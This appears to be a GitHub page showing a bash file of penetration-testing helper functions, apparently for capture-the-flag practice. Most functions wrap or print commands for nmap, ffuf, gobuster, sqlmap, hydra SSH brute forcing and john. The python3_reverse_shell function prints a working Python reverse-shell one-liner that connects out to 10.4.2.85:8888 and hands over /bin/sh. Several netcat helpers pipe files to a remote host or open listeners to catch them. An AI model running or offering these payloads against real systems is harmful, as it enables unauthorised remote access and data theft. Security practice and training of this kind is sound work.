-
Notifications
You must be signed in to change notification settings - Fork 0
/
kali-linux-virtualbox-zsh.sh
395 lines (211 loc) · 7.47 KB
/
kali-linux-virtualbox-zsh.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
#!/bin/bash
fake_sshkey() {
echo -e "\n ssh-keygen -t rsa -f fake.id_rsa -P '' ; cat fake.id_rsa.pub \n"
default_fileName="fake"
echo -n "Specify filename or press Enter to use default filename ($default_fileName): "
read fileName
if [ -z "$fileName" ]; then
fileName=$default_fileName
fi
ssh-keygen -t rsa -f "${fileName}.id_rsa" -P ""
echo -e " \n "
cat "${fileName}.id_rsa.pub"
}
ffuf_command() {
ls -lah /usr/share/wordlists
echo -e "\n ffuf -u http://\$1 -w \"/usr/share/wordlists\" -c -v -t 50 -od . -of md -o ffuf-\$3.md \$* \n"
}
thm_ffuf() {
ls -lah /usr/share/wordlists
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
echo -n "Specify wordlist: "
read wordlist
ffuf -u "http://$target" -w "$wordlist" -c -v -t 50 -od . -of md -o "${filename}.thm-ffuf.md"
}
ffuf_vhost_command() {
ls -lah /usr/share/wordlists
echo -e "\n ffuf -w \"/usr/share/wordlists\" -u http://forge.htb/ -H 'Host: FUZZ.forge.htb' -t 200 -fl 10 -c -od . -of md -o ffuf-vhost-forge.htb.md \n"
}
find_suid() {
echo -e "\n find / -type f -perm -04000 -ls >> '$(whoami)-find-suid.txt' 2>/dev/null \n"
}
gobuster_command() {
ls -lah /usr/share/wordlists
echo -e "\n gobuster -t 45 --delay 100ms dir -e -u \"http://$one\" -o \"gobuster-dir-$two\" -w \"/usr/share/wordlists\" \n"
}
gobuster_dir() {
ls -lah /usr/share/wordlists
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
echo -n "Specify wordlist: "
read wordlist
gobuster -t 45 --delay 100ms dir -e -u "http://$target" -o "$filename.gobuster-dir" -w "$wordlist"
}
hash_id() {
echo -e "\n nth -a | ev -t | -f hash ---OR--- hashid -ejm hash \n"
}
hydra_command() {
echo " hydra -s port -o hydra-output -VV -t 60 -f -l lin -P locks.txt 10.10.155.24 ssh "
}
john_command() {
ls -lah /usr/share/wordlists
echo -e "\n john --format=NT -w rockyou.lst hash.txt --pot=output.txt \n"
}
john_result() {
echo -e "\n john --show hash \n"
}
nc_recv() {
echo -e "\n nc -nlvvp 9998 > \$* \n"
}
nc_send() {
echo -e "\n nc -vv \$1 9998 < \$2 \$* \n"
}
nc17777() {
arguments="-lnvvp 17777"
nc ${arguments}
}
nc17778() {
arguments="-lnvvp 17778"
nc ${arguments}
}
nc18888() {
arguments="-lnvvp 18888"
nc ${arguments}
}
nc18889() {
arguments="-lnvvp 18889"
nc ${arguments}
}
nc19998recv() {
port=19998
echo -n "Enter the targeted filename: "
read fileName
nc -w 30 -nlvvp $port > $fileName
}
nc19998send() {
port=19998
echo -n "Specify target (e.g., IP/FQDN): "
read target_IP
echo -n "Enter the source filename: "
read fileName
cat ${fileName} | nc -w 30 -vv ${target_IP} ${port}
}
nc19999recv() {
port=19999
echo -n "Enter the targeted filename: "
read fileName
nc -w 30 -nlvvp $port > $fileName
}
nc19999send() {
port=19999
echo -n "Specify target (e.g., IP/FQDN): "
read target_IP
echo -n "Enter the source filename: "
read fileName
cat $fileName | nc -w 30 -vv $target_IP $port
}
new_sshkey() {
echo -n "Enter the source filename: "
read fileName
ssh-keygen -o -v -t ed25519 -a 1000 -f "${fileName}.id_rsa" -P ""
}
nikto_command() {
echo -e "\n nikto -h devzat.htb -p 80 -o nikto-result-devzat.htb -Format txt -Display V \n"
}
nmap_output() {
echo -e "\n -oN nmap-full-safe-scan-\$1 \$2 \$* \n"
}
nmap_fast_3000() {
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
sudo nmap -n --stats-every 25s -vvvvvv -Pn -F --top-ports 3000 -r -sV -O --version-light -T4 --min-parallelism 30 --min-rate 300 --reason --append-output -oN "${filename}.nmap-fast-3000" $target
}
nmap_fast_port() {
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
sudo nmap -n --stats-every 25s -vvvvvv -Pn -p- -r -sV -O --version-light -T4 --min-parallelism 30 --min-rate 300 --reason --append-output -oN "${filename}.nmap-fast-port" $target
}
nmap_full_max() {
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
sudo nmap -n --stats-every 15s -vvvvvv -Pn -p- -r -A -sCSV -O --version-all -T4 --max-parallelism 30 --max-rate 300 --reason --script=safe,default,discovery,version,vuln --append-output -oN "${filename}.nmap-full-max" $target
}
nmap_full_min() {
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
sudo nmap -n --stats-every 15s -vvvvvv -Pn -p- -r -A -sCSV -O --version-all -T4 --min-parallelism 30 --min-rate 300 --reason --script=safe,default,discovery,version,vuln --append-output -oN "${filename}.nmap-full-min" $target
}
nmap_full_no_script() {
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
sudo nmap -n --stats-every 15s -vvvvvv -Pn -p- -r -A -sCSV -O --version-all -T4 --min-parallelism 30 --min-rate 300 --reason --append-output -oN "${filename}.nmap-full-no-script" $target
}
nmap_open() {
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
sudo nmap -n --stats-every 15s -vvvvvv -Pn -p- -r -open --append-output -oN "${filename}.nmap-open" $target
}
nmap_ping() {
echo -n "Specify target (e.g., IP/FQDN): "
read target
echo -n "Specify output filename (e.g., IP/FQDN): "
read filename
sudo nmap -n --stats-every 15s -vvvvvv -sn --append-output -oN "${filename}.nmap-ping" $target
}
password_list() {
ls -lah /usr/share/wordlists
}
python_web() {
echo -n "Enter the port: "
read Port
python3 -m http.server $Port
}
python3_reverse_shell() {
echo -e "\n /usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.4.2.85\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' \n"
}
readme() {
code -n ./README.md
}
rustscan_command() {
echo -e "\n rustscan -u 5000 -b 1900 -t 4000 --tries 2 --scan-order serial -a 192.168.0.1 -- -Pn -A -sVC --script=safe,default,discovery,version,vuln | tee rustscan-full-result-NAME \n"
}
rustscan_simple() {
echo -e "\n rustscan -u 5000 -b 1900 -t 4000 --tries 2 --scan-order serial -a 10.10.32.200 -- -Pn -sV --script=version | tee rustscan-simple-result-NAME \n"
}
sqlmap_command() {
echo -e "\n sqlmap -u http://10.10.166.239/login.php --forms --data=\"user=^&password=^&s=Submit\" --risk=3 --level=5 --dbs --method POST -o --batch -v 1 --eta --threads=10 --schema --exclude-sysdbs \n"
}
sshkey_remove() {
echo -n "Enter the IP/Hostname to be removed: "
read STRINGS
ssh-keygen -R $STRINGS
}
wget_command() {
echo -e "\n wget -r -np -R \"index.html*\" WEB_PATH \n"
}
wget_recursive() {
echo -n "Enter the URL: "
read STRINGS
wget -r -np -R "index.html*" $STRINGS
}
wordlist() {
ls -lah /usr/share/wordlists
}
# You can add more functions as needed